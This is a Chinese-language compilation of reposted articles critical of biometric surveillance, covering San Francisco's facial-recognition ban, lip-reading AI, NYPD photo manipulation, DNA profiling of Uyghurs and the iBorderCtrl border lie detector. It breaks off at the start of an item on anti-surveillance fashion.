旧金山成为了美国第一个禁止使用面部识别技术的城市，虽然只限于执法部门、当地机构以及该市的交通管理部门。

我对头条新闻的直觉反应是，这对个人隐私来说很好，这是旧金山监管机构真正大胆的决定。

该条例实际上涵盖的不仅仅是面部识别，因为它的陈述是这样的：

“‘监视技术’指的是，使用主要用于收集、保留、处理、或共享音频、电子、视觉、位置、热、生物识别、嗅觉的任何软件、电子设备、使用电子设备的系统、或与任何个人或团体特别相关或能够与之相关的类似材料”。

不是全部禁止，而是说，从闭路电视摄像机、到社交媒体扫描仪、和车牌阅读器—— 都必须提交“监控技术政策”。说明将使用该技术收集哪些信息，保留多长时间，与谁共享，公众如何注册投诉以及如果指定授权和禁止使用。

但是，该禁令不包括旧金山的机场和海港，因为这些是由联邦机构运营的。

也不意味着没有任何个人、公司或其他组织安装包括面部识别的监控系统，并且，被禁止使用该技术的机构可以与允许使用该技术的人员合作。

例如，执法部门可以使用在家庭用监视系统上捕获的视频来协助调查。

于是，禁令的意义实际上有多大呢？

对面部识别的所有反对意见中最突出的一个是，该技术被证明是不准确的，特别是在识别有色人种和女性时。

这可能有很多原因，但一个最可能的原因应该是，用于训练算法的数据集没能代表那些特定的人群。

这个反对理由不够好；因为至少，与所有新兴技术一样，它们会随着时间的推移而不断改进，随着更多数据被捕获并开发出新技术，这些问题将得到解决，准确性将占上风。

而对于那些专门瞄准非暴力反抗者个异议人士的当权者来说，该技术越准确、其危害性就越大。

关联《警察将活动家称为“国内极端分子”的五个荒谬理由》

采取行动保护个人隐私显然是朝着正确方向迈出的一步。

这条特别的法令引起了我的注意，因为作为英国人，我目睹了监控文化的深刻；在英国，你不可能做到在任何街道上行走或驾驶而不被许多监控系统捕获。

我现在是旧金山湾区的居民，但是，当我反思这项禁令时，我发现自己正在考虑执法是否应该拥有主动保护公众所需的所有工具。如果观察名单或类似的列表上有杀人犯，那我可能希望执法部门知道他们在哪。

面部识别有很多种用途。

许多智能手机使用该技术作为身份验证解锁、社交媒体使用它来标记照片；和中国一样，一家名为 Cubic Corporation 的公司开发伦敦地铁的票务系统，现在正在探索是否可以使用面部识别来验证每个旅客。

虽然基本可以肯定，以上这三种最常见的使用方法中收集到的面部数据 —— 您自己的脸，您都无法完整知道它们会被转售给谁、被用于什么。

技术的确可以用于正义的目的。

印度证实了使用面部识别执法的一个突出例子。当时新德里的警察部

队在试运行后的短短四天内发现了近3000名失踪儿童。

该技术被用于整个城市的45,000名儿童，并确定出其中有2,930名儿童被记录为失踪。

减少交通拥堵、让失踪儿童与父母团聚，这些都是该技术的积极用途。

但是，很明显，问题不在于*使用*监视技术，而在于滥用监视技术的可能性。

⚠它不会仅仅用来寻找失踪儿童，同时还可以轻松找到任何当局感兴趣的人，尤其是政府反对派；它也不会专注于解决道路拥堵问题，因为它可以轻松追踪到任何策划和参与抗议行动的人。

相信大多数人都知道自己是否应该采取一些保护措施。而且这一评估很重要。

保护是可以做到的。我们曾经介绍过《让面部识别失效的思考方式》

了解这一思考方式，您就可以更好地选择保护性措施。

比如，一副特殊的眼镜。

无论你是一个隐蔽的间谍还是普通的隐私捍卫者，这种东西都可以帮您拦截数字窥探。

这一特殊的眼镜不会让你在现实生活中隐形，但是，它们的目的是阻止面部识别软件。

VG Technologies 公司已经在阿姆斯特丹的创新实验室开发了该眼镜的原型版本。这种眼镜使用在眼睛和鼻子周围的红外灯来打破用于识别面部的算法。

此版本的眼镜还具有反光涂层，因此如果使用闪光灯，它可以反射强光。

其实面部识别技术已经快速变得准确，Facebook 的 Deep Face 技术看两张图片，它可以判断出他们是否是同一个人，准确率为97%。

并且，FBI有一个包含数百万张照片的新数据库。面部识别也可能很快出现在零售商店等地方。

而且，犯罪分子也热衷于这种技术。一个澳大利亚罪犯团伙是典型，他们参观了警察毕业典礼，拍照，然后使用面部识别软件创建了自己的卧底警察数据库。

不论您是希望躲警察还是躲犯罪分子，有效的保护措施都是您应该了解的。

What the ban on facial recognition tech will – and will not – do

原文

科技公司正在训练人工智能读懂你的唇语（想说悄悄话时要带上口罩了） - iyouport

生物识别-眼下最严重的威胁，以及怎么办

首先是面部识别，情绪识别，而现在，读唇语的人工智能的早期形式已经在医院、发电厂、公共交通等领域开始部署了。

一个病人坐在医院的病床上，绷带缠绕在他的脖子上，上面有一个为他提供氧气的气管造口的小洞。

这是一个营销视频，画面中的这个人据称由于最近的手术而不能发声。因此，一名医生举起智能手机，在这个病人说出一个短语时进行记录。一个名为 SRAVI 的应用程序分析了病人嘴唇的动作，并在大约两秒钟内返回对唇语的翻译 —— “我需要吸痰”。

这似乎是一个简单的互动，而且在某些方面，SRAVI（语音识别应用程序）仍然相当简单。它只能识别几十个短语，而且准确率达到90%左右。但是，这款由爱尔兰创业公司 **Liopa** 制作的应用程序代表了视觉语音识别（**VSR**）领域的巨大突破，它涉及训练人工智能在没有任何音频输入的情况下读取唇语。它可能是第一个可供公众购买的唇读人工智能应用程序。

几十年来，研究人员一直在努力教计算机读唇语，但事实证明这是一项具有挑战性的任务，即使是在帮助破解其他标志性问题的深度学习系统的进展下。这项研究是由一系列可能的商业应用推动的 —— 从监控工具到无声通信应用程序和改善虚拟助理的性能。

Liopa 正在将 SRAVI 认证为欧洲的第一类医疗设备，这将使其能够开始向医疗机构销售。

虽然他们对这项技术的意图还不清楚，但许多科技巨头也都在研究唇语识别的人工智能。根据采访和主板对最近发表的研究和专利申请的审查，隶属于或直接为谷歌、华为、三星和索尼工作的科学家们都在

研究唇语识别系统，并且似乎正在取得快速进展。这些公司要么没有回应，要么拒绝接受采访。

随着唇读人工智能作为一种可行的商业产品出现，技术专家和隐私监督者越来越担心它是如何被开发的，以及它有一天会被如何部署。例如，SRAVI并不是 Liopa 正在进行的读唇人工智能的唯一应用；该公司还在与英国国防研究机构开展项目的第二阶段合作，开发一种工具，使执法机构能够通过无声的闭路电视录像进行搜索，并识别人们何时说出某些关键词。

监控公司 “摩托罗拉解决方案” 拥有一项旨在帮助警察抓人的读唇系统的专利。**Skylark** 实验室是一家初创公司，其创始人与美国国防部高级研究计划局（**DARPA**）有联系，它告诉主板，其唇读系统目前已部署在私人住宅附近、以及印度一家国家控制的电力公司，以检测 “粗俗和辱骂性语言”。

- 如果您错过了《以手机闻名的公司正在迅速成为政府监控的主要参与者》

英国生物识别和监控摄像机专员弗雷泽·桑普森告诉主板：“从我的角度来看，这是一个很好的例子，关于—仅仅因为我们能做到，并不意味着我们应该做出来。我在这个领域的主要关注点不一定是技术能做什么和不能做什么，而是，人们相信它能做什么的寒蝉效应。如果这使人们不敢在公开场合发言，那么我们就进入了一个比单纯的隐私大得多的领域，而隐私本身已经够大了”。

读唇人工智能的出现让人想起了面部识别技术，在2000年代初开始悄悄地、但迅速地作为一种监视工具被商业化之前，面部识别技术是一个小众的研究领域。

- 人脸识别技术最初是迪士尼主题公园用的，用来帮游客挑照片做纪念品。而在占领华尔街运动其间，这项技术已经被用来抓捕抗议者了。

面部识别的许多问题在过去几年内才被公众所了解，这在很大程度上是由于那些受到面部识别伤害的人的积极研究和反抗行动。具体来说，2018年具有里程碑意义的论文中，乔伊·布拉姆维尼和蒂姆尼特·格布鲁首次揭示了面部识别对女性和有色人种的准确性较低。

当这些担忧进入主流话语时，面部识别在手机、私营企业和全世界许多城市的街角的监控摄像头中已经无处不在。现在该技术已被用于追

踪BLM抗议者，以及其他各种可疑的目的。在过去的两年里，在该技术首次大规模公开部署近20年后，在美国十几个城市和州的基层运动开始阻止警察和私人使用面部识别。

- 关于这点，更多分析见《禁止面部识别可以做到什么、不能做到什么》

对面部识别的反击是一场运动的象征，这场运动正在推动关于人工智能研究人员应如何考虑其发现的未来应用的思维转变。例如，著名的 NeurIPS 会议去年首次要求研究人员在提交论文的同时提交关于他们的发明可能对社会产生何种影响的声明。

“研究是了不起的，但当我们发现某个特定的知识链或研究具有破坏性的后果时，那么，作为研究人员，我们有责任叫停它，并实施政策变革”，《人工非智能》的作者梅雷迪斯·布鲁萨德（Meredith Broussard）说。

作为一项商业技术，读唇术的人工智能仍处于起步阶段，但是，人们已经应该开始担心，科学的发展速度如此之快，而且在某些情况下，是在封闭的公司大门后面，等我们看到后果时将再次变得太晚。

Stavros Petridis 说：“科学确实发展得太快了，但在去年，在已发表的文献中，就有多篇关于VSR技术的伦理考虑的讨论”，他最近开始为 Facebook 工作，但向主板谈到了他以前在伦敦帝国学院的研究，“鉴于目前还没有商业应用，这次在这项技术完全商业化之前，有相当大的机会会考虑到伦理方面的问题”。

伦敦帝国理工学院的博士生罗德里戈·米拉（研究唇语人工智能的主要团体之一）告诉主板，他和他的同事 “知道我们的领域是有争议的”。他将该研究团队的工作比作渗透测试 —— 寻找计算机系统中的漏洞以修复它们的网络安全实践。换句话说，这项研究允许受道德准则约束的学术机构在犯罪分子等不良行为者部署新技术之前发现它。

“人工智能的主要内容是，人们需要始终谈论政治”，米拉说，“这不是关于我们是否应该停止研究的问题，而是我们有这种能力，只要看一眼就能弄清楚人们在说什么的能力。我们应该用它来做什么？阻止[该技术的不道德使用]的方法不是关闭帝国理工学院。处理这个问题的方法是把它作为一个政治问题来处理。”

人工智能伦理学家同意，政府尽早对面部识别和读唇人工智能等生物识别监控技术进行强有力的监管是必要的，以防止歧视和伤害 ——

但到目前为止，许多政府都没有制定适当的法律。这就是为什么研究人员有责任不仅要考虑潜在的后果，而且要积极主动地将最有可能受到该技术伤害的人群纳入其决策过程。

到目前为止，专家们说这些考虑并没有被用于视觉语音识别系统。

“这是关于积极创造一种可用于有害用途的技术，而不是识别和减轻现有技术的漏洞”，AI Now研究所的研究员萨拉·迈尔斯·韦斯特告诉主板，“研究人员并不总是有能力自己做出这些评估。这就是为什么让将受其研究影响的社区参与整个过程，以预测和减轻潜在的有害的用例是如此重要。

Liopa 的首席执行官 Liam McQuillan 告诉主板，该公司距离拥有一个能够令人满意地从无声的闭路电视录像中读出关键词的系统至少还有一年的时间—— 该项目由英国国防部门DASA资助 —— 而且该公司已经考虑了隐私反击的可能性。“这里可能有一些担忧，实际上是禁止最终使用这项技术的。… 当然，我们没有把 Liopa 押在这个用例上，但它正在提供资金”。

McQuillan 还表示，该公司正在积极寻求解决潜在的种族或性别偏见问题，方法是对其算法进行训练，这些数据收集自多样化的 YouTube 片段、通过收集视频的志愿者，以及一家专门策划数据集以包括不同种族和民族的人的公司。该公司尚未公布任何关于其系统在不同人口群体中表现的研究。

主板确实找到了一家声称正在积极销售读唇术人工智能系统的公司，而且它已经完全接受了监控市场。Skylark 实验室的创始人兼首席执行官 Amarjot Singh 告诉主板，该公司最初向印度的警察机构推销其技术套装 —— 其中还包括面部识别以及暴力和武器检测算法。但该公司发现，鉴于在拥挤的公共场所部署唇语功能所面临的挑战，该公司对唇语识别功能的兴趣不大。

此后，Skylark 转向了其他用途。辛格说，该公司的读唇人工智能技术目前正由政府控制的旁遮普邦电力有限公司进行试点，以检测员工相互骚扰的情况。他说，有几个人也购买了这项技术来监控他们的保姆。

Skylark 说它的读唇人工智能可以检测到大约50个与诅咒、虐待和暴力有关的不同词汇。据当地媒体报道，辛格已经发表了关于暴力检测和面部识别的研究，印度警方已经使用 Skylark 的无人机来执行社会管制。但辛格和该公司都没有发表过任何关于唇语识别人工智能的研

究。

主板联系了旁遮普邦电力有限公司和辛格说的一位在家里使用该技术的人，但在报道发表之前没有收到回复。

“我们正在野外进行，并试图解决对人们的安全有直接影响的用例”，辛格说，“我认为有可取之处，因为设计者可以控制系统应该标记的词，所以我认为它还是有点问题的。这里的风险是，一旦你开始校准系统，在野外拾取日常语音，这时它就会[在道德上]变得非常棘手了”。

为这个报道接受采访的研究人员和公司高管告诉主板，如果读唇人工智能足够先进，能够解释完整的对话，那还要等上几年。

这项任务具有令人难以置信的挑战性 —— 即使是人类读唇专家，在逐字解释方面实际上也很差。2018年，谷歌子公司 Deepmind 发表研究报告，公布了其最新的完整句子唇语阅读系统。在包含完整句子的视频中，人工智能实现了41%的单词错误率（其错误的单词百分比）。人类读唇者在观看类似的纯视频片段样本时，在没有给出主题背景的情况下，单词错误率为93%，而在给出视频标题、主题类别和句子中的几个单词时，单词错误率为86%。这项研究是使用一个大型的、定制的数据集进行的。

伦敦帝国理工学院的研究小组本月提交了一篇论文，描述了在一个较小的、公开可用的400小时视频数据集上训练的全句式唇语阅读系统，其单词错误率可以低至37.9%。

当涉及到单一关键词唇语阅读时—— Liopa 和 Skylark 实验室正在追求的那种工具—— 准确率要高得多，而且在过去一年里已经有了显著的改善。2017年，在基准的野外唇读数据集上取得的最高准确率是83%。这个顶点基本保持不变，直到2020年，一些团体接连证明他们可以超过83%的准确率。根据本月发布的一篇论文，目前的记录是**88.5%**的准确率，由伦敦帝国学院的小组与三星合作实现。

不过，很难知道真正的巅峰是什么。许多专家仍然认为 Deepmind 是该领域的领先者，自2018年的论文以来，Deepmind 没有公布其唇语阅读项目的任何进一步研究，而且该公司拒绝讨论这一工作领域。

主板采访的许多研究人员都不愿猜测大型科技公司打算如何利用这项新兴技术，或者它将在何时何地开始对更多公众产生明显的影响。

“过去10年的人工智能和[机器学习]向我们展示了一件事，那就是没有办法以任何有意义的方式预测未来”，米拉说，“但低估事物确实是不明智的”。〇

Tech Companies Are Training AI to Read Your Lips

原文

给你'整容'，以便符合嫌疑人面部特征 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

张三抢劫了，结果是李四被逮捕了。为什么？因为伟大的面部识别监控，警方没找到张三于是就把监视图像编辑了一下，换成了李四的脸。这不是段子，是一份调查的曝光...

「图」

「图」

纽约警察局滥用其面部识别系统，编辑嫌疑人的照片，以确定犯罪嫌疑人，这是研究人员在一份关于执法部门使用监控技术的调查报告中做出的谴责。

调查结果来自与纽约警察局长达两年的法律纠纷中获得的文件，其中包括乔治城隐私和技术中心对全国警察使用面部识别的调查。

该报告在一些城市（包括旧金山）的呼吁下发布，这些城市正在努力禁止警方使用该技术，这是对评论家们认为可能增加错误逮捕风险的秘密技术增强抵制的一部分。

“如果警方将非常主观的、高度编辑过的或错误的信息放入他们的系统，那么面部识别算法的准确程度就并不重要了，”该报告的作者、隐私和技术中心的高级助理 Clare Garvie 表示。

“他们不会得到好的信息。他们不会获得有价值的线索。错误识别的风险很高。如果他们使用它并且不与辩护律师共享，则会违反正当程序。”

面部识别算法将身份不明的人的图像与嫌疑人照片、预订照片和驾驶执照照片进行比较。

警方正在采用该技术进行常规调查，称这有助于他们解决本来会很棘手的案件。他们说把这种技术当作一种调查工具，“逮捕某人并不是唯一的理由”。

乔治城的这份报告并未专注于纽约警方。还有亚利桑那州马里科帕县、俄勒冈州华盛顿县、和佛罗里达州皮内拉斯县。

NYPD在报告中占据最重要的位置。

「图」

「图」

A document obtained by the ACLU describes a “case study” of using a sketch for facial recognition in Washington County, Oregon Public records obtained by ACLU Oregon & Northern California

研究人员为了获取有关其面部识别系统如何运作的信息，与 NYPD 进行过冗长的法庭冲突。

该部门最终交出了数千页的文件，但此后一直试图让研究人员归还其中一些文件，称这些文件是保密的并且是“无意中”共享的。

纽约警察局发言人在一份声明中为其部门的做法辩护。该发言人对乔治城的报道没有任何异议，但表示该部门正在审查其“面部识别协议”。

乔治城大学的研究人员表示，他们发现了一个案例，其中纽约警察局的调查人员试图使用监控录像找出一名从CVS偷啤酒的男子。

研究人员引用侦探关于此案的内部报告称，监控图像的质量不是很高，并且在面部识别系统中没有产生任何潜在的匹配。

但是一名侦探指出，嫌犯“看起来像”是演员伍迪哈里森，所以在嫌疑人的位置上提交了哈里森的高分辨率图片。然后导致逮捕。

「图」

「图」

An internal NYPD document, left, describes using celebrity comparisons for its facial recognition system, a technique that

included the use of a photo of Woody Harrelson (not the photo pictured here).NYPD / AP File

研究人员还发现了一些证据，⚠证明纽约警察局的调查人员篡改了嫌疑人的照片，使他们看起来更像是另一些人 —— 包括用一张闭着嘴的照片取代张着嘴的照片，从谷歌上搜的照片剪下嘴部贴在嫌疑人的照片上。

研究人员表示，该部门还使用3D建模软件填补不完整的图像或旋转面部，使照片中的面部面向前方。

“这些技术相当于面部识别点的制作：相比下较好的做法是创建从来不存在的信息（至少不会牵连无辜的人），最坏的情况则是引入完全无辜的其他人的信息作为证据，”报告说。

该报告还详细介绍了纽约警察局的其他可疑方法，包括未能使用传统的调查技术来确认面部识别结果。

在第二份报告中，乔治城的研究人员描述了底特律和芝加哥的计划 —— 通过将软件连接到位于城市各处的监控摄像头来创建实时的面部识别系统。

批评者认为，这种做法是政府扩大公众监视能力的进一步。

⚠ 想想看，这种做法还能怎么用？把当局不喜欢的反对派领导人的脸放在杀人现场的监视视频中？如果没有独立调查机构及时揭露呢？会有多少冤狱甚至死刑？

NYPD used celebrity doppelgängers to fudge facial recognition results, researchers say. The NYPD is also accused of editing suspects' photos to get results from its facial recognition system, a new report says.

原文

美国公司如何帮助中国借助 DNA 数据追踪公民 - iyouport

作恶者：谁在帮中国关于高堡奇人生物识别-眼下最严重的威胁，以及怎么办

【2019年5月16日存档】哪家美国公司正在帮助中国借助 DNA 数据追踪公民？

当局称之为免费体检。塔依尔·衣明(Tahir Imin)对此表示怀疑。他们抽走了这名38岁的维族人的血、扫描了他的脸、录下了他的声音、提取了他的指纹—— 这些都是最重要的生物识别数据。但完全没有检查心脏或者肾脏的打算，并且断然拒绝了他查看结果的要求。

衣明是被卷入中国庞大的监控与压迫行动的数百万人之一。为加大行动力度，中国当局正在收集 DNA—— 而且他们从美国企业和学界那里得到了意想不到的帮助。

据人权组织和维族活动人士称，收集遗传物质是中国行动的关键部分。他们称，综合的DNA数据库可用于追查任何拒绝服从该行动的维族人。

包括美国在内的许多国家的警方会利用 DNA抓捕当局不喜欢的人。而正在建庞大的全国性DNA样本数据库的中国官员，则已在利用中国自身的遗传研究以维稳。在这里看到，《美国警察如何挨家挨户收集DNA》。

为增强 DNA 方面的能力，中国警方下属的科学家使用了美国马萨诸塞州公司赛默飞世尔**(Thermo Fisher)**研制的设备。为了与维族人的 DNA 进行比对，他们还依靠耶鲁大学著名遗传学家肯尼斯·基德**(Kenneth Kidd)**提供的取自全世界人类的遗传物质。

中国的行动对科学界及其公开前沿知识的方式构成直接挑战。这项行动部分依靠公开的 DNA 数据库，还凭借商用技术，其中大部分是在美国制造或管理的。相应地，中国的科学家已向全球的数据库提交了维族人的DNA样本，可能违反知情同意这一科学准则。

全球科学界的合作“让这类遗传监控合理化了，”加拿大安大略省温莎大学(University of Windsor)助理教授马克·穆恩斯特赫耶姆(Mark Munsterhjelm)说，他一直在密切跟踪美国技术在新疆的使用情况。

在中国西北部的新疆，这个项目被称为“全民体检”。据中国官方新闻机构新华社的报道，从2016年到2017年，近3600万人参与其中。据维族人和人权组织称，当局采集了DNA样本、虹膜图像及其它个人信息。尚不清楚是否一些民众参加过一次以上（新疆人口约为2450万)。

在一份声明中，新疆政府否认其免费体检涉及DNA样本的收集。政府表示新疆当局所购买的DNA设备是供“内部使用”。

在中国2013年至2017年提交的专利申请中，部委研究人员描述了通过筛查基因组成将人按族裔分类的方式。他们采用了维族人的遗传物质，并将其与其他少数族群的DNA进行比对。在2017年提交的文件中，研究人员解释称，他们的系统将有助于“用犯罪现场提取的嫌犯DNA推断地域出身。”

2017年文件称，在外部比照方面，他们使用了基德的实验室所提供的DNA样本。他们还使用了取自“千例基因组项目”(1000 Genomes Project)的样本，后者是一项来自全世界的基因目录。

千人基因组项目指导委员会成员保罗·弗利切克(Paul Flicek)称，其数据不设限制，因而如果它被用以确定一份DNA样本出自何处“也没有明显的问题”。

基德负责的等位基因频率数据库(Allele Frequency Database)中，有2143名维吾尔族人的数据来自中国政府的研究人员。直到去年，这个在线搜索平台一直由美国司法部提供部分资金。该数据库被称为“阿尔弗雷德”(Alfred)，其中包含来自世界各地700多个人群的DNA数据。

基德说，他认为他与中国公安部的合作，同他与其他地方的警察和法医实验室的合作没有什么不同。他说，政府应该获得有关少数民族的数据，而不仅仅是占主导地位的民族的数据，以便对整个人口有一个准确的了解。

2015年，基德和布道尔在中国城市西安的一个基因学会议上发表了讲话。该会议的承办者包括赛默飞世尔和**Illumina**两家公司，前者因在中国设备销售而受到强烈批评，后者是圣地亚哥一家生产基因测序仪

器的公司。Illumina没有回复记者的置评请求。

中国正在加大医疗和研究方面的支出。研究公司赛迪顾问(CCID Consulting)的数据显示，2017年，中国基因测序设备和其他技术的市场价值10亿美元，五年内可能翻一番以上。但中国市场监管松散，设备的去向和用途并不总是很清楚。

赛默飞世尔出售的产品包罗万有，从实验室仪器到法医DNA测试包，再到DNA作图机，该设备可以帮助科学家破译一个人的族裔，识别他或她特别容易感染的疾病。根据赛默飞世尔公司2017年年报，在其**209**亿美元的年收入中，**10%**来自中国，该公司在中国雇佣了近**5000**名员工。

中国公安部的五份专利备案文件显示，中国使用美国赛默飞世尔的设备绘制了中国人的基因图谱。

该公司还直接向新疆当局出售设备。在新疆，控制维吾尔人的行动最为严厉。根据采购文件，至少有一些设备是打算供警方使用的。当地政府在文件中表示，这些机器对于刑事案件中的DNA检测非常重要，“没有国产替代品”。

据一份专利申请文件显示，2013年2月，中国公安部六名研究人员称，赛默飞世尔公司的应用生物系统(Applied Biosystems)品牌以及其他公司的产品分析了中国汉族、维吾尔族和藏族的DNA样本。研究人员说，了解如何区分这些DNA样本，对于打击恐怖主义是必要的，“因为这些案件变得越来越难以侦破。

研究人员表示，他们已获得了95份维吾尔族DNA样本，其中一些是警方提供给他们的。

China Uses DNA to Track Its People, With the Help of American Expertise. The Chinese authorities turned to a Massachusetts company and a prominent Yale researcher as they built an enormous system of surveillance and control.

原文

虚拟警察测谎仪：旅行者的新麻烦 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

试图进入欧洲的任何人都要开始小心这种东西了；包括免签游客。等下，仅限欧洲吗？如果它在欧洲“推动成功”，会不会迅速被其他地区模仿？……

「图」

「图」

人们称它为“Silent Talker”。

它是一个虚拟警察，现在开始如果您想来欧洲玩，必须经过这么一个新门槛 —— 在被允许入境之前，旅行者必须通过这个虚拟警察进行的测谎测试。

过程是这样的。

在您抵达机场之前，使用您自己的计算机登录到一个网站，在那里上传您的护照照片，你会看到一个穿着深蓝色制服的棕色头发动画男出现在你的屏幕上，就是那个虚拟警察。

“你姓什么？”；“你的公民身份和旅行目的是什么？”……“他”会问你一系列问题。

您只需要口头回答就行了。虚拟警察使用您的设备上网络摄像头扫描您的面部和眼睛的运动，以寻找“说谎的迹象”。

在测谎问答结束时，系统会为您提供一个QR码，您必须在抵达边境时向警卫展示。

警卫使用手持平板设备扫描那个**QR**码，拍摄您的指纹，并获取您的面部图像，以检查它是否与您的护照相符。

如果警卫手里的平板电脑显示100分，那就意味着机器告诉人类：

你“是真实的”。

如果你被判定为试图欺骗该系统，你就麻烦了，你会被归类为“高风险”或“中等风险”，这取决于机器发现你“错误回答问题”的数量。

Intercept 的记者在今年早些时候经过塞尔维亚—匈牙利边境之前对该系统进行测试 —— ⚠ 请注意，记者对机器提出的所有问题都提供了诚实的回答，但是，记者被机器视为骗子，16个问题中有4个错误答案，得分为48分。

评估测谎仪结果的匈牙利警察表示，该系统建议记者应该接受进一步的检查；尽管最终并没有什么“进一步”。

被视为“危险”的旅行者很可能会被拒绝入境，但在大多数情况下，旅行者永远不会知道那个愚蠢的测谎是否是他们被拒绝入境的原因之一。

因为测试结果通常不会透露给旅行者；只有在根据欧洲隐私法提交数据访问请求后，Intercept 才获得了记者的测试副本。

「图」

「图」

The iBorderCtrl project’s virtual policeman

这个虚拟警察是一个名为 **iBorderCtrl** 的项目的产物，该项目涉及匈牙利、拉脱维亚和希腊的维稳机构。

该测谎仪的试验阶段已经结束，可能很快会在其他欧盟国家推出，这一潜在的发展引起了全欧洲的争议和媒体报道。

IBorderCtrl 的这个测谎系统是由英国曼彻斯特城市大学的研究人员在英国开发的，他们说这项技术可以通过让人们在计算机上回答问题，分析他们的面部表情、眼神和姿势的微观细节，判断谎言。

欧盟的一项研究计划已为该项目提供了约**450**万欧元的资金，该项目由13个合作伙伴组成，包括希腊安全研究中心、德国汉诺威大学、以及一堆监视技术公司，如匈牙利的 BioSec、西班牙的 Everis、和波兰的 JAS。

曼彻斯特城市大学的研究人员认为，该系统可以代表“边检的未来”。

在2018年6月发表的一篇学术论文中，该高校的研究人员表示，像他们的虚拟警察这样的玩意 “将适合在过境检查中检测欺骗，因为它们是人类信息的有效提取者”。

然而，一些学者质疑该系统的价值，他们说这完全依赖于伪科学来做出关于旅行者是否诚实的判定。

德比大学刑事调查教授 Ray Bull 曾帮助英国警方采取更有效的审讯技巧，他专门研究欺骗行为。他告诉 The Intercept，iBorderCtrl 这个项目“不可信”，因为没有证据表明监测人脸上的微表情是衡量说谎的准确方法。

“他们欺骗自己认为这东西会变得非常有效，而且他们已经浪费了很多钱”，Bull 说。

“这项技术基于对判断人类的真实或欺骗性行为特征的基本误解。”

近年来，在难民危机的情况下、以及法国、比利时、西班牙和德国发生的一系列恐怖袭击之后，欧洲的警察和维稳机构面临着越来越大的政治压力，需要更有效地追踪移民的流动情况。

非洲大陆的边境安全官员表示，他们正在努力寻找更快、更有效的新方法，利用人工智能，检查每年进入欧盟的7亿多人的旅行证件和生物识别数据。

欧盟的行政部门为2021年 ~ 2027年间预留了 349 亿欧元用于边境管制和移民管理。

与此同时，去年9月，欧洲立法者同意建立一个新的自动化系统，以监测所有游客，包括来自美国在内的免签第三国的国民，以确定是否可允许他们进入欧洲。

将来，无论出于何种原因无法提前提交申请的免签证旅行者都将无法进入申根区；申根区覆盖欧洲26个国家，旅客可以自由地跨境旅行无需护照。

IBorderCtrl 这种虚拟警察是一种旨在加强预检查筛选过程的技术。

但透明度活动家表示，在获得有关该技术的更多信息之前 —— 例如用于制定决策的算法，不应推出这一项目 。

今年早些时候，位于米兰的 Hermes 透明度和数字人权中心的研究人

员利用信息自由法获取了有关该系统的内部文件。

他们收到了数百页文件；然而，这些文件被大量编辑过，许多页面完全被涂黑了。

- 美国的信息资源法案请求经常遭遇这种篡改，美国的活动家想出了一个办法可以将文件恢复原样，见《高明的反抗》

研究员 Riccardo Coluccini 说："他们居然通过隐瞒解决这些问题的文件来压制辩论，真的很可怕。"

"理解资助过程背后的理由是绝对必要的。这些文件中写的是什么？欧盟如何证明使用这种伪科学技术的合理性？"

曼彻斯特研究人员进行的一项研究用 iBorderCtrl 测试了32个人，并说他们的结果表明该系统的准确率为75%。

然而，研究人员指出，参与实验的标本群体在种族和性别方面存在不平衡，亚洲人或阿拉伯人参与者的人数明显少于欧洲白人、女性人数少于男性。

欧盟数据保护监管机构负责人 Giovanni Buttarelli 告诉 The Intercept，他担心这个虚拟警察 iBorderCtrl 系统可能产生基于种族原因的歧视。

"谁来设定参数以决定是不是撒谎？" Buttarelli 说。

iBorderCtrl 的发言人拒绝回答相关问题。

该项目的网站承认测谎系统将"对旅行者的基本权利产生影响"，但它还为自己狡辩称，由于该系统目前是测试阶段是自愿的，因此"歧视、人类尊严等问题不会发生"…… ○

WE TESTED EUROPE'S NEW LIE DETECTOR FOR TRAVELERS—AND IMMEDIATELY TRIGGERED A FALSE POSITIVE

原文

行动主义：时尚界引领反监视斗争 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年5月14日存档】以时尚作品促进更有意义的对话

随着面部识别技术变得越来越普遍，人们开始反击 —— 这场反击是由时装设计师引领的。

我们生活在大规模监视的时代，在这种监视中，所有人在公开场合所做的几乎每件事都被监视和记录着。

面部识别技术在一定程度上受到执法机构越来越多的使用的推动，近年来迅速普及，并且这一趋势预计将持续到未来很多年。

根据 MarketsandMarkets 最近发布的一份报告，预计全球面部识别市场将从**2019**年的**32**亿美元增长到**2024**年的**70**亿美元。

这些监视相机在街道、酒吧、饭店、购物中心、机场、工作场所、甚至人们的家里。难道我们对此无能为力吗？*MarketsandMarkets estimates that the value of the global facial recognition market in 2019 is $3.2 billion, and it predicts that it will grow to $7 billion in 2024.*

许多权利组织呼吁禁止该技术，但政府的行动格外缓慢。

而来自世界各地的艺术家、设计师和研究人员并没有等待政府去听从这些呼吁，而是决定通过设计服装和配饰来实际帮助人们解决问题，这些服装和配饰可以愚弄面部识别算法。

在 “生物识别和对抗方法” 栏目中我们已经介绍过很多反监视直接行动的创意，以下是一些汇总。

1、一条新的服装生产线旨在混淆监控摄像机

「图」

“对抗时尚” 是由计算机安全专业人士和业余时装设计师 Kate Rose 设

计的一套新服装系列。

它是与众不同的。

“对抗时尚” 系列中的物品首次在拉斯维加斯的 DefCon 网络安全会议上亮相，它采取了非常不寻常的设计，其特征是各种车牌图像。

但是，这种非正统的设计的主要目的不是要发表任何形式的时尚声明，而是要使自动车牌读取器感到困惑。近年来，这种自动车牌读取器已在全球变得越来越普遍。

自动车牌阅读器通常安装在电线杆、路灯、高速公路立交桥或移动拖车上，它们使用联网的监控摄像头和图像识别技术，通过将其抓取的车牌号与特定的GPS位置信息及日期和时间相关联，以跟踪人们的行迹。

但是，该技术远非完美，往往会出现准确性问题，经常会错误地从广告牌和栅栏中抓取数字。

这就激发了 Rose 尝试设计能够模仿车牌花样的衣服，并借此欺骗车牌阅读器，使其认为那是一辆汽车。

对抗时尚系列包括衬衫、帽衫、夹克、短裙和连衣裙，价格从25美元到55美元不等。

该网站还包含各种DIY资源，例如API和图像编辑工具，可让任何人设计自己的反监视服装。

Rose 希望她的创作能够提高人们对面部识别技术侵入性的认识，甚至可以激发人们对此进行反击。

Rose 表示：“其中一部分只是教人们如何使用该技术，并提高人们对部分监视状态的理解。”

“但这确实有效。即使只是一个人穿着其中一件衣服，并且导致这些监视相机摄取了10到50个完全是垃圾的假车牌，也是非常有意义的事。对机器来说所有一切信息都是必须存储和分析的，所有这些都要花钱。”

2、Hyperface 项目使佩戴者无法被面部识别软件读取

「图」

